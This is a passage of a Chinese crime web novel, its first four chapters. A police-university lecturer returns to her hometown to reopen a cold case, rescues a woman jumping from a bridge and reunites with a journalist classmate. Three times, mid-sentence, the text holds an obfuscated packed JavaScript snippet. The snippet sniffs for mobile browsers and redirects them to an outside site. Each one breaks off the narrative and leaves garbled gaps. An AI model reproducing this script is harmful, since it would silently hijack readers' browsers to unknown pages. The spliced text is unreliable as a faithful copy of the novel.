《念念十八年[刑侦]》 1. 第一章 2020年6月,北京,中国人民公安大学。 尽管还未完全入夏,这两天的北京却已热得发干冒烟。温度直窜上30°,蝉鸣渐起,聒噪了一个下午。时近下午四点半,下课铃响,穿着学警夏季制服的学生们陆续从阶梯教室里走了出来。 讲台上同样穿着夏季警服的秦梓需正在收拾自己的讲义,她一头利落的运动短发,眉目疏朗俊秀,肩膀上三星一杠的肩章锃亮。 她点了点鼠标,关闭讲台电脑里的课件。犯罪心理学的PPT字样在投影屏上一闪而过,黑了屏。 有学警凑了上来,一个男生一个女生,脸上都带着犹豫踌躇的神色。 “有问题要问?”见他俩迟迟不说话,秦梓需先开口道。 “秦老师,您真的教完这学期就不教了?” 开口的这个男生,秦梓需认得,侦查学专业大二三班的班长,他身边的女生是犯罪学专业大二一班的班长。这两个班向来一起上她的这门犯罪心理学课,两位班长都品学兼优。 秦梓需好笑:“你们从哪儿知道的这个消息?学了点本事,就用来查你们老师了?” 话虽这么问,她猜到这个消息多半是她那碎嘴的好友传出去的,身为学校公众号的皮下运营,这家伙时常会在学校论坛里放出一些有的没的的小道消息。早知道就不该这么早告诉她。 “我们就是觉得您的课太好了,觉得可惜。”女班长难过道。 “别的老师教也一样,你们都得好好学。”秦梓需将手中讲义在桌面上掇了下,理得规整,收入自己的手提包,拔了U盘,捻起翻檐警帽扣在头上,随即笑着出了教室。 两个学生跟着她,她脚下皮鞋踩着教学楼的地砖,一双修长有力的腿走得飞快,脚步声哒哒的,以至于两个学生都有些追不上。 秦梓需是公安大学的传奇往届生,她还是学警时,创下了校内多项记录,跑步就是其中之一。她的能跑,是连男子的中上等成绩都能甩在身后的,至今还没有哪个后来的女生能破她的记录,不论是长跑还是短跑,都一骑绝尘。 “这…这也不像生病了的样子啊,我感觉秦老师能一拳打死我。”女班长小声嘀咕着,她两条腿倒腾得都要跑起来了。 “心病,据说是。”男班长更小声地嘀咕。 前方,秦梓需顿住脚步,突然回身看向他俩。两学生差点没刹住车,急急顿住,一脸尴尬。 “你俩跟着我做什么?没问题问就该干什么干什么去。”秦梓需瞪着他们。 “我们就是想知道……您是不是得了什么秘密任务。”男班长小心翼翼问,末了又在秦梓需严厉的目光下悻悻地挠了下鼻子,“大家都很好奇,我们俩是各班代表。” 坦白从宽了,秦梓需牵起唇角一笑,道:“胡扯什么,没什么秘密任务,我就是病了,得病休。” “那……您休多久能回来?”女班长担忧地问。 “不晓得,短则三五个月,长的话……一年半载吧。”给了个模糊的答案,秦梓需兀自摆了摆手,便撇下两个学生出了教学楼。 骄阳似火,她隐在帽檐阴影下的双眼却盖着一层阴翳。秦梓需的情绪不高,近半年来,她的状态都很低迷,做出病休的选择,确实是因为心病,若是不能了结了这块心病,恐怕她人真的会出问题。 穿过校园道路,她一路去了教务楼,跨进教务楼大厅时她后背的淡蓝制服衬衫已有些许濡湿。 她径直去了校长办公室,到门口时,办公室门敞着,李朔正眯着眼看着电脑屏幕,鼻梁上架着老花镜。空调的凉风透出,让秦梓需的皮肤上浮起一片鸡皮疙瘩。 她礼貌敲门,打招呼道:“校长,我来报道。” 李朔的目光越过镜框上沿望向她,随即笑了一下道:“报道?你该是来找我道别的。” “是,校长,今天是最后一天,刚下课。”秦梓需挠了下下巴,神情仿佛回到了当年的学生样。 “唉……”李朔长叹一口气,招了招手示意她进来。秦梓需于是进门,反手带上门。 “坐。”李朔示意她在办公桌对面的面谈椅上坐下,待她坐稳了,才缓缓开口道,“我能帮你的不多,能帮你打招呼的,我都打过了。你要查的案子,一个都不能称之为是个案子,一个是多少年的悬案,地方上的干警都很忙,没谁能抽出空子来配合你,这一点,你要事先做好心理准备。” 秦梓需心里明镜似的,她知道自己此番回去,肯定是到处碰钉子,但这些在她看来,都不及解决心病要紧。 “老师,谢谢您。”秦梓需由衷道,她的称呼已经从校长变成了老师,因为李朔就是她当年刚入学时的侦查学教授,而她可以说是李朔最得意的关门弟子,教完她,李朔就升了校领导,不再在教学一线教书了。 若不是有这层关系,没有哪个校领导能允许她如此任性胡闹,她那个病休的心理疾病证明,分明是走关系来的,缺乏说服力。但她确实挂心于当年的事,以至于到了走火入魔的地步了。 “你别急着谢我,我只给你一个学期的时间,到今年年底,不论结果如何,你都得给我回来老老实实教书,你前途不想要了吗?”李朔语重心长地道。 “我……我知道了。”秦梓需点头。 李朔见她言不由衷,苦口婆心道:“不论结果如何的意思你懂吗?我批了你这么长的病休假让你去查这个事儿,这是最后的机会。查不出来,说明这件事任谁也查不出来了,就该过去了。你要自己做好心理调整,我不希望你永远走不出来。” “是。”秦梓需低头道。 “听到没有?!”李朔调高音调喝道。 “是!”秦梓需条件反射地站起身,坚定回道。 “好,走之前,去给你师傅扫个墓。要不是他,我也不会让你去的。”李朔说完,摆了摆手,示意秦梓需可以走了。 “校长再见。” 秦梓需提起自己的包离开,开门出去时,听到了李朔最后念叨了一句:“我希望能听到你的好消息。” …… 秦梓需是在这之后的第三天出发的,她买了去胥城的高铁票,时间是下午两点多。 她早上一早就出了宿舍门,穿着简单的白T牛仔裤,头上戴了顶遮阳的渔夫帽。拖着行李箱,背着鼓鼓囊囊的双肩包,腰上还系着战术腰包。 胥城是她的老家,父母亲现在仍然居住在那里,其实她完全可以不必带这么多行李,但她此番不想回家住,打算租个小屋子,夜半进出也不会打搅家人,因此所需的行李也多。 她先打了一辆车到了墓园,在壁葬区找到了她师傅张鑫的骨灰格龛。用湿纸巾擦了擦龛壁上的灰尘,她将自己买的一小瓶二锅头放在了龛前。她师傅好酒,平生最大的闲适爱好就是整两小菜小酌一番。但很节制,每喝不过2两,最爱便是红星二锅头。 她师傅是公安部刑侦专家,二级英模,最顶尖的人像画像师,今年1月春节前夕,他还在工作室加班,因突发脑肿瘤破裂,倒在了工作岗位上。他病故前,还在为15年前那桩铁道抛颅悬案绘制画像。 元旦她见师傅最后一面时,师傅挂心地跟她说:“我这一辈子画的所有画像,都找到了它的主人,唯独这个案子,唯独这个女人……要是到退休都没找到,不甘心啊。我再修修看,可能还是哪里画得不对。” 而这起案子,串联起了秦梓需初中时期的一场事故,促使她在半年后做出病休,回胥城查案的决定。 她点亮手机,翻出了师傅早在15年前就绘制出来的那幅手绘人像,画得是一个中年女人,瞧上去十分普通,毫无特征,瘦削、面庞凹陷,看上去沧桑,但神情坚毅,像是受过良好教育的、有心气的人。 画像右下角还备注了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997394|161689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下:可能是近视,配戴眼镜。 “师傅,我这就去了,我有预感,这次一定会有结果的,您在天之灵保佑。” 喃喃说完,秦梓需收起了手机,拖着行李箱决绝离去。 傍晚七点半,她抵达了胥城南站。尽管每年春节都会回家过年,暑假也会回家探亲,胥城南站来了无数趟,可这回走在宽阔的候车大厅里,她仍然有种奇怪的陌生感。仿佛自己并不属于这里,只是个匆匆过客。 打了一辆车,她直奔租住的屋子,这个屋子距离市公安局不远,位于一处老小区。秦梓需人在北京时就找了中介谈妥了。40平的屋子整租,卫生已经打扫好了,直接拎包入住。 今次回来的事她暂时还没和父母提过,怕父亲那个老顽固会被气死。她妈又是个爱念叨的,这要是一天到晚地打电话过来,实在是让她没法专心做事。 坐在车副驾上,她打量着夜幕中的胥城街道。 胥城所在的东海省本就是全中国经济最发达的地区,胥城又是东海省内经济最好的地级市,甚至比省会东海市还要发达。胥城的城市建设非常漂亮,高楼鳞次栉比,街道宽敞平整,地面上的交通标示线都是崭新的。红绿灯设计得很有未来感,配着周遭高楼外立面亮化的霓虹彩灯,看上去就像是一座未来的城市。 可在她的记忆里,胥城不是现在这幅光鲜亮丽的模样。 胥城永远是她儿时记忆里的模样,那时候她们全家人都住在军区的家属院里,一街之隔是机械346厂的职工宿舍区。两片小区夹着一条热闹的小巷子,叫做螺丝拐弯巷,曲里拐弯,宽度只能过一辆车。 巷子里有最抚人心的烟火气,小门面林立,修鞋裁缝、剃须理发、百货旧书,各式点心、卤菜、小酒馆,还有小孩子最爱的游戏厅……所有的记忆都停留在90年代末00年代初的模样。 她们一家是在05年她刚上高中时搬离军区家属院的,当时是为了她的学业,家里买了靠近市一中的新楼盘学区房,这个新家,父母至今还住着。高中后她几乎是两点一线的生活,每日绝大部分的时间都在学校里,那三年时光全部投在了学习上,从未关注过这座城的变化。 再后来,毕业了,她去了北京,就更是与胥城断联。 1年前的暑假回家探亲,她重走过老地方,拍照做了记录。 那记忆中的螺丝拐弯巷10年前已经拓宽了,机械346厂的地皮早已卖给了楼盘开发商,现在建成了一座现代化商务楼。儿时的记忆被尘封了,一同尘封的,还有隐藏在腌臜角落中微不可查的罪恶气息。 到了出租屋,秦梓需下车,司机礼貌地帮她搬下行李箱。她站在这老小区的门口,看着这一排排斑驳的90年代水泥楼,以及种植在小区内绿意莹莹挂满白花串的刺槐树,恍惚间好像自己的童年又回来了。 上楼、开门、打扫卫生、收拾行李,洗澡,一切忙妥,临近晚上11点了。她累极了,肚子也饿了,就手烧水泡了一包方便面吃。 一边嗦着面,一边拿着手机刷微博,忽而就注意到了一条新闻,是东海日报的公号,发了一篇社论,专门点评近期发生的多起公众场合无差别持刀伤人事件的。 据她所知,东海日报属于是官媒二级序列的地方性大媒体,背景应该是东海省政府宣传口,新闻报道还是挺有分量的。 秦梓需看着看着,竟然看入了神,不知不觉看完后,发现面都凉了。 写得很好啊,这记者的文字水平是她近几年看过的少见的一流水平了,而且调查也很扎实。 她看了一下署名:记者 章弥真 嗯?这名字有点熟悉,但她一时间竟然想不起来了。大概是太累了,脑子不转了。 她迅速几口吃完面,便刷牙,上床睡觉。 明天还有艰巨的任务等着她,她需要一场酣畅的睡眠恢复体力。 2. 第二章 第二天早上,秦梓需6点起床,洗漱后,简单吃了个面包,喝了一盒牛奶,便开始工作。 她打开平板,调出自己今日需要拜访的人物名单。这份名单全是校长为她打过招呼的警官,有省厅的领导,也有市局、分局里的学长,都是校长早年的学生。甚至连派出所里,校长都为她联系了一位副所长,这位副所长是校长早年的老战友,即将退休了。 她重新复习了一下这些人的背调,喜好、性格都做到烂熟于心。 这大概耗费了她二十分钟的时间,眼见着时间走向7点,她收拾好东西,便出门了。 她的第一个目的地是租车行,接下来的一段时间里,她很可能会在胥城里到处跑,甚至深更半夜也回不到住所,所以她必须要一辆车作为她的第二个据点。 她提了一辆坦克300,越野车让她能够应付更复杂的地形,她接下来还需要跑不少山路。租车费不便宜,顺利的话,也许一个月租期,不顺利的话,恐怕数个月都得耗在胥城。但她不在乎,她不缺这点钱,也愿意花这个钱。 将手机架上支架,导航开启,她便发动车子向市局行去。 一切都如她预料的那般不顺利,接下来她开始四处碰壁。 到市局时8:30,她要见的领导不在,据助手说,领导一大早就去跑案子去了,9:30要回来开会。秦梓需就算要见他,时间也不多。 候到9点,她终于等到了刑侦总队的副总队长刘明城。这位领导因为办理专案,目前常驻胥城。是曾与她师傅搭档办过案的老同事,见她来了,相当客气地接待了她。 寒暄过后,秦梓需花了二十分钟,尽量简略地向刘明城汇报完事情的来龙去脉,一看领导的脸色,就知道不妙。对方眉头紧锁,盯着秦梓需亮给她看的pad上的资料,半晌没说话。 秦梓需默然等待,就听刘明城清了清嗓子,缓声道: “秦老师啊,关于第一件案子,根据你提供的资料,这实在是没办法查,基本没有证据可以证明是刑事案件。第二案,确实是悬案,我们一直在寻找线索,但这么多年了,除了张老师的画像,毫无线索啊。 “至于这两个案子之间的联系……是不是薄弱了一点?提并案太早了。抱歉啊,秦老师,我说话有点直。” “刘总,您太客气了,没关系的。若是为难,我就自己查。”秦梓需默默叹息,收起了pad。 刘明城也是过意不去,忙道:“这样,秦老师,你给我一天时间,我帮你联系几个人,看不能给你一些人手。” “谢谢刘总,我不打搅您了,您还得开会呢。”秦梓需扬起微笑,背起包起身出了刘明城的办公室,走得干脆利落。 刘明城望着她消失在门口,心里不是滋味。 接下来秦梓需又去找了市局的支队长,结果对方竟然临时出差了。她被介绍到胥城南丰区分局,去找区分局刑侦大队的大队长,结果那位大队长正在处理一起恶性驾车伤人案,忙得根本没空见她,她最终被踢皮球踢到了白虎桥派出所。 白虎桥派出所正是当年她老家所在的辖区派出所,那件让她终生难忘的爆炸,就发生在这里。她从分局驶来,过白虎桥,再沿着路向前走一点就到了目的地。 白虎桥下,胥城最古老的河流——胥江穿城而过,一如故时波光粼粼。 再次故地重游,秦梓需只觉得这附近的街景又变了,许多老店消失了,取而代之的是各种新开的连锁奶茶店和快餐店。道路拓宽了,街景变得越发井然有序,干净宽敞。 两侧多出好几栋高楼,擦得锃亮的玻璃幕墙反射着炫目的光。 那处熟悉的派出所被两座高楼挤在中央,静悄悄地坐落在马路边,反倒显得不起眼起来。她将车停在了派出所对面,坐在车里,她隔着马路望着蓝底白字的“公安·POLICE”字样,还有中央夹着的警徽,心中五味杂陈。 警队也都是由人组成的,人总有局限,总会有焦虑烦扰和不耐烦。非亲历者,不可体味个中滋味,也缺乏穷尽一切求索的动力。 她都能理解。 深吸一口气,她还是背包下车,过了马路,往派出所内去。 她刚走到门口,就看到一个年轻女子从派出所内走出来。她神情不大对劲,瞧上去似是受了天大的委屈,一双眼角下垂的大眼睛里噙着泪花。但派出所里每天不知有多少人会露出这样的表情,秦梓需也并不会觉得奇怪。 她习惯性地观察了一下这个女子的周身,她穿着一件有些不大合身的宽大T恤,一条短裤,踩着一双拖鞋。浑身上下的行头像是被强行拼凑出来的地摊货。她的长发油腻腻地挂在肩头,看上去许久没洗了,这大夏天的,她身上一股难闻的味道。 秦梓需忽而瞥到她的左手腕,看到内侧一道道的血痕,眉头顿时蹙起。她走路的姿态也不大对,上半身躯干向左侧不自然地拧了一个角度,身子还不断向前冲,两条腿显得僵硬,不大能正常屈膝屈髋。 秦梓需得出一个初步的判断:这人的中枢神经出了问题,很可能遭遇过某种意外,躯干受过伤。 她略有些犹豫,不知该不该上前问问情况。就在此时,她突然看到那女人路过路边垃圾桶,将一个东西丢进了垃圾桶里。 咦?那是手机? 秦梓需忽感不妙,忙大步追了上去。她几步赶到垃圾桶旁,也不管脏不脏,直接探手去捞那手机。好在垃圾桶的垃圾已经累积到了较高的位置,她没费多少功夫就拿出来了。 刚拿出来,她就对前方的女人喊了一声: “喂!你丢什么手机?手机不能乱丢的!” 没想到这句话就像是丢出了炸弹,惊了前面那个女人一大跳,她竟然撒腿就跑。秦梓需立刻追了上去,见那女人就是往白虎桥方向跑去,她暗道: 不好,她要跳桥! 这女人肢体虽不协调,跑起来却一点也不慢。但再如何,也不可能胜得过秦梓需。她在前面一瘸一拐拼命跑,秦梓需在后面大步追,若踩了烽火轮,二人之间的距离迅速拉近。一边跑,她还一边将那手机塞到了牛仔裤后口袋里。 这一幕惊呆了路人,大家都愕然地扭头望着她俩。 女人跑得脚上的拖鞋都甩脱了,直接光着脚奔到了桥上,扒到桥栏上,就往上跨。 “喂!拦住她!”秦梓需断喝了一声,她这一声是对桥边刚路过的一个男性路人喊的。对方先被那女人意图跳桥的举动吓了一大跳,尚未反应过来,又被秦梓需这一声大喝吓得一哆嗦,颤巍巍上前去抓那女人。 哪里晓得那女人劲儿好大,男性路人竟然一下没抓住,嗤啦一声,劣质T恤的后背布料直接被撕开了,他眼睁睁看着那女人从桥栏上翻了下去,吓得大叫。 秦梓需飞身而来,身上的背包直接被她甩在了地上,她扑过去,两只手一起,一把抓住了女人的手臂,大力传来,她的胸口霎时狠狠砸在了桥栏上,砸得她差点闭过气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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秦梓需从牛仔裤前口袋里掏出自己的警官证。 “啊!原来是一家人。今天真是谢谢您了!”那年轻警官激动起来,与秦梓需握手。今天如果不是秦梓需恰好救了跳桥女子,他们白虎桥派出所,少不了要吃处分了。毕竟人是刚出了他们派出所,就直接跳桥了。 随后秦梓需和跳桥女子一起被送去了附近的医院验伤,秦梓需身上就是些擦伤,肩背手臂因为用力过度有拉伤,胸口也有压迫伤,医生给开了一些外用药,没什么大碍。 秦梓需内心不禁苦笑自嘲:这可真是出师未捷身先伤啊。 跳桥女子的伤势甚至比她还要轻,就更无大碍了。 随后两名警员又将她二人带回了白虎桥派出所。那跳桥女子被带去了接待室,有女警帮着处理女子身上的擦伤,顺便和她聊天说话,调节她的情绪。 那两位民警似是要去忙什么事,安顿秦梓需先在外间的大厅里候着。她的包捡回来了,里面东西都在,也没摔坏。她拍了拍包上的灰,从包前袋里抽出了一副乳胶手套戴上,随即取出了后口袋里的手机。 这是个千元机,看上去很新,没有太多使用痕迹。点亮屏幕后,没有密码,直接进入了桌面。左右划了划,内里app寥寥无几,连微信都没有。她点进了联系人,发现里面竟然只有一个号码,备注是:【章记者】。 章记者?秦梓需扬起眉头。 3. 第三章 还没等秦梓需进一步查验,迎面走来一位中年警官,他身后还跟着刚才那两位出警的民警。看为首的这位中年警官的警衔,秦梓需判断他应该是白虎桥派出所的所长级别的人物。 果不其然,对方向她伸出手来,率先自我介绍: “你好,我是所长周建。” “周所好,我是秦梓需,公安大学的老师。”说着把警官证亮出来。 周建对她的身份有些讶异,半开玩笑地问道: “这么巧!有人要跳桥,刚好就撞上公安大学的老师了?” “倒也不完全是巧合,我本来就是为了办案子来拜访所里的,恰好遇上了,身为人民警察,当然有义务救援群众。”秦梓需解释道。 警校里的老师不是所有人都具备执法警察身份,有些是事业编,不持有警官证,也没有执法权。不过公安大学里的教授大多数都是行政编,也就是正经的公务员,持有警察证,有执法权。 “这样啊,秦老师要不先帮忙录个口供?然后咱们再去办公室详谈。”周建道。 “麻烦周所了。” “诶,哪里的话,是我们麻烦您了。要不是您帮了大忙,今天真是……”周建摇头。 周建回了他的办公室,秦梓需被那位老警官带去办公室录口供,过程中,秦梓需将那跳桥女子的手机交到了老警官手里,并详细说明了全过程。 老警官见她戴着乳胶手套拿手机,一时笑了起来: “秦老师您可真严谨,但这个手机没必要戴着手套拿。” “为什么这么肯定?”秦梓需似笑非笑地反问。 老警察道:“您不了解情况,这手机是三天前才买的,还是我买给她的。这三天,她一直都在救助站里,有人看着她,没接触过什么人。今天她到派出所磨了一整天,一直到这会儿才走。” 是一直到这会儿终于无法忍耐,要去自杀了,秦梓需内心纠正道。但她没说出来,给人留了点面子。 她问:“她到底出了什么事?” 老警官见她姿态挺拔,身形矫健,一头利落短发,五官清秀漂亮,说话也是条理分明、吐字清晰,且气质十分温雅,对她挺有好感,再加上她也是警方内部的人,于是就把那跳桥女子的情况和她说了。 这女子是个身份不明的外来女性,被发现时,她正在恒顺大楼的楼顶,闹着要跳楼。民警和消防耗了一个多小时才把她救下来,当时闹得挺大的。 “哦,这新闻我前些天确实看到了。”秦梓需有了印象,她确实几天前看到过一个白虎桥派出所的警情通报,当时看到人被救下来后,就划过去了,没太上心。 这个信息爆炸的时代,每天的新闻实在太多了,她不可能一件一件全都挂在心上。 老警官挠头,道:“当时她身上连个身份证都没有,话也说不清楚,问她叫什名字她都说不出来。我们录了她的指纹,采集了DNA,送去匹配了,现在还没消息。” “她为什么闹着跳楼?” “说是被人强J了,警察包庇罪犯,所以要闹自杀。”老警官道。 秦梓需蹙眉:“你们送法医查验过了?” “查了,她确实在跳楼前有过比较激烈的性行为,身上有抵抗伤,体内的精斑也提取到了,也送去匹配了,没消息。”老警官挠头,“多半不是DNA库里的人所为。” “她之前接触过其他的警察?”秦梓需又问。 “我们向全市发了协查通报,没哪家说有接警过这么个人的。所以你说这事儿该怎么查?这女的自己都说不清楚自己从哪儿来的,我们问了半天,真是一头雾水,无从查起。要查,也得慢慢查监控,哪里能那么快呢?结果她就这样闹,这样我们还怎么做事?”老警官叹息。 秦梓需沉吟了片刻,点了点手机道:“她的手机里只存了一个号码,备注是‘章记者’,这是怎么回事?” “章记者?”老警官似乎有些诧异,“她留了章记者的电话?” 说着就点开手机通讯录,看到了章记者的号码,又看了一下通话记录,在三天前的晚上11点多,章记者的号码有打进来,但未接通就挂断了。 “哦,这天晚上就是她出事的那天。那天是有个姓章的女记者到现场采访的,话说回来,这手机还是她陪着我去买的,她挺好心的,还资助了那女的五百块钱。原来那个时候她留了号码给她……” 二人正说着话,突然手机响了,来电显示正是章记者。老警官惊了一跳,连忙接通,并开了免提和录音: “喂?” “喂?你是谁?”喇叭里传来了一个相当警惕的女声,她声线偏高,多多少少给人一点压迫感。 “我是白虎桥派出所的民警老胡啊,你是章记者吧。” “哦,原来是胡警官。”那头明显松了口气,“那个小妹妹怎么样了?” “章记者你消息好灵通啊!你怎么知道她又出事了?”胡警官很是吃惊。 “嗨,我有我的渠道嘛。我线人说白虎桥有个女人跳桥闹自杀,我就琢磨着是不是她又出事了,赶紧打电话问问。她怎么样了?” “她没事,被救下来了,现在在所里呢。”胡警官道。 “那方便的话,我一会儿过去看看她,可以吗?”章记者问道,话语里带着点不容拒绝的意味。 老胡明显有些踌躇,这个跳桥女子前些日子就已经引发舆情了,现在要是让记者来,恐怕不大合适,他得去请示领导才行。 章记者似乎猜透了他的心思,解释道:“您放心,我不是来采访的,我就是……我想看看她,我留号码给她时,也跟她说了,有什么困难可以打电话找我。她一个人孤苦伶仃的,不知来处,也没有去处,总得有人监护她。短时间内,我可以帮这个忙。而且,我跟她挺聊得来的,也许我能问出点什么呢?” 这最后一句话,似乎动摇了老胡,他道:“那好吧,你来吧,我这边也会和领导汇报一下。” “好嘞,谢谢您,我大概半个小时后到。”对方笑嘻嘻地挂了电话。 秦梓需望着有点窘迫的老胡,微微笑了一下,道:“这位记者好像很厉害呢。” “那是,算是胥城的名人了。我本来对她不熟悉的,前些天接触后查了查她,听说她早些年在央媒干过战地记者,后来在国内也做过刑事案件追踪调查,什么样的刀山火海都敢闯。” 秦梓需话锋突然一百八十度大转弯,道:“那……我的笔录做完了吗?” 老警官一拍脑门:“哦!完了完了,秦老师,我带您去所长办公室。” 秦梓需在所长办公室门口刚要进去,想起什么,回身对老警官道:“那手机是从垃圾桶里捡出来的,既然不涉及生物留证,你记得消毒一下。” 说罢就敲门进了所长办公室,留老警官在走廊上凌乱。 半个小时后,秦梓需与周所长交谈结束。周所送她到外面,道: “实在不好意思,秦老师,老杨今天正好轮休,我让他明天就联系您。您放心,这个案子我们会尽力协助的。” 老杨就是校长给她安排的接头人,是快退休的老刑侦了,他早些年在市局做事,干过很长时间的痕检,后来得了一场重病,打报告请退,市局照顾他,把他安排到了家附近的派出所做一些二线工作。 “麻烦您了,周所。”虽然知道这只是客气的场面话,秦梓需还是深表感激。至少周所没有敷衍她,还愿意帮忙。 “不客气,我送您出去?”周所扬手。 “我还想去见见那个跳桥的姑娘,可以吗?” “当然,您请便。”说着就唤了一个女辅警过来,让她带秦梓需去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997396|161689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接待室。 秦梓需跟着走到了接待室的门口,打眼往里一瞧,就见到长条桌旁,一个身影坐在那跳桥女子对面,正在和对方低声说着什么。 她是个相当漂亮的女人,年纪约莫三十左右,化着淡妆,眉若远山,眼角稍翘,带出一丝妩媚,但周身的干练气质将这丝妩媚淡化了,只有当她笑起来时,才会不经意流露出来。 她一头大波浪长发在脑后束成长辫,身上穿了一件剪裁贴身的中袖竖条纹衬衫,领口敞开,项上挂着一条纤细的银链子。秦梓需注意到她腕上戴着运动手表,露出的小臂微微有肌肉线条。 她还健身呢。 那人也注意到了她,先是盯着她看了几秒钟,随即脸上露出愕然神色,竟然站起身来,冲着她道了句: “你是……秦梓需?” “嗯?您认识我?”秦梓需诧异。 “你不认识我了吗?是我啊,章弥真!”她指着自己道,语气惊讶中透出几分不快。 她神情的变化突然吻合了秦梓需印象中的某个画面,于是一道闪电突然在她脑海里劈下,她终于想起来了。 “你是初中时候……三班的章弥真!” 二人相顾愕然,盯着对方半晌没说话。直到带秦梓需进来的女辅警有些迷惑地出声问道: “二位……认识?” “哦,嗯,我们是初中同学。”秦梓需挠了挠后脑勺。 “同年级不同班。”章弥真补充道,神情略有些尴尬,似是想起了什么不快的记忆。 “这不巧了吗不是?”那女辅警顿觉妙极,拍手笑道。 章弥真嘴角抽抽,看上去在她心目中这巧合不是很美妙。 秦梓需倒是觉得很欣喜,多少年没见到的老同学,再次见面,有种熟悉又陌生的奇妙感。不过,章弥真似乎这么多年了还是那个样子,符合她印象里那个外向、自来熟又十分要强的大小姐形象。 这突然一打岔,秦梓需都忘了自己是来干什么的了,直到她突然听到了哭声,才发现是坐在一旁的那个跳桥女子又呜咽起来。 章弥真反应极快,立刻凑上前去,安抚道:“妹妹,别哭,你放心,你的事我一直盯着呢。” 一边说着,一边还用餐巾纸帮她拭去眼泪和鼻涕,一点也不嫌弃脏。 “姐姐……你要帮我……他们都不理我……”跳桥女子抽噎着,口齿不清地艰难说道。 “好,姐姐督促她们,姐姐是记者,他们怕姐姐的。你别想不开,啊~” 这样的对话反反复复像是鬼打墙般重复着,秦梓需看着有些动容,她鲜少能见到有人可以对一个陌生人如此耐心热忱,更何况这个陌生人还是个行为能力受损的残障人士。大多数人在面对这类人时,或多或少都会显出不耐烦。 她回头去看那个带她来的女辅警,对方已经不知何时出去忙自己的事了,想必这个跳桥女子此前就是这样被冷落在这里,无人安抚的吧。 秦梓需走过去,拉开了跳桥女子身旁的椅子坐下,倾身到她身前,扬起笑容,柔和问道: “你好,还记得我吧。” 女子见到她,顿时瑟缩了一下,显出害怕的神色,她还记得秦梓需追她,阻止她跳桥的“凶猛”行为。她似乎没有意识到秦梓需救了她。 秦梓需无视了她的反应,继续问:“有个问题我很好奇,你能告诉我为什么在跳桥前,要先丢掉你的手机吗?” 跳桥女子的眸光更加惊恐了,嗫嚅着说不出话来。章弥真看不下去,出言劝阻道: “你问她这些做什么?” 随即她好像突然反应了过来,问道:“等会儿,你为什么会在这里?” “我刚刚救了她。”秦梓需扭过头去对她笑笑,取出了口袋里的警官证亮给她看。 章弥真彻底呆住了。 4. 第四章 “是你救了她?那个传说中的女警察就是你啊。”章弥真身子后仰,靠在了椅子上,眸光中满是难以置信。这一刻她在怀疑缘分这种玄之又玄的东西是不是真的切实存在。 秦梓需没有纠缠这个问题,而是向跳桥女子又重复了一遍自己的问题: “如果你不想要活了,又为什么要丢掉手机呢?” 跳桥女子嗫嚅着不说话,她看上去不大像是不会回答,而是不愿回答。 见秦梓需如此坚持要搞明白这个问题,章弥真也好奇起来,她没说话,默默坐在旁边观察。 她始终不说话,秦梓需就换了个问法,道:“那这样,我来猜,你看我猜得对不对。你害怕有人能通过这部手机找到你,对吗?” 这是为什么?章弥真一时间没想明白。 秦梓需继续道:“你出了派出所,第一个动作就是把手机丢了,这是个很明确的赌气行为,你认为警察辜负了你,你也要报复他们,你的报复方式就是自杀。 “但我猜,你应当不是想要在当时当地就自杀,只是我叫住你,你害怕有人再次阻碍你,所以你跑了起来,试图甩脱我。可你甩不脱,在我步步逼近的情况下,慌乱之下你看到了桥,所以你脑子一热,干脆就跳桥了。 “可是,你为什么会如此笃定警察一定是辜负了你?” 秦梓需这一番推论,字字戳心,不仅让跳桥女子彻底破防,也让一旁的章弥真大开眼界。 大概是被逼得没办法,跳桥女子愤怒地吼道:“因为他们都是一伙儿的!” “他们?谁,欺负你的家伙是警察吗?”秦梓需眸光瞬间变得无比锐利,刺入跳桥女子的眼中。 女人只是崩溃地摇头,用手抓着凌乱的长发。 “姑娘,如果你想要讨回公道,请提供给我更详细的讯息,你是谁,你从哪儿来?这些基本的情况,我们必须要知道才能帮助你。我认为你多多少少还是记得一些过去的事,你如此难以启齿,是不是在害怕?” 女人抿唇,微表情已给出答案。 秦梓需取出自己的手机,调出12306软件中的购票记录,亮给对方看,柔声道:“别怕,我和他们不是一伙的。我昨天刚刚从北京过来,我可以帮你。” “我真的不记得了。”她哭泣道,“我被车撞了……他们把我带到一个地下室,我每天只能吃一顿饭,他们……他们让我偷东西。还有……还有好几个人,都是小孩子……” 章弥真倒吸一口凉气,秦梓需的神色也彻底冷峻了下来。 “你怎么逃出来的?”章弥真没忍住,插嘴道。 “我出去‘干活’……趁着他们没看着我,跑了,后来我怕他们把我抓回去,我就去跳楼,把事情闹大。”跳桥女子哭泣道。 秦梓需再次验证了自己的判断:这个女孩只是有些神经上的问题,但她并不笨,相反很聪明。 “这些事,你怎么不和警察说呢?”章弥真拧着眉头问。 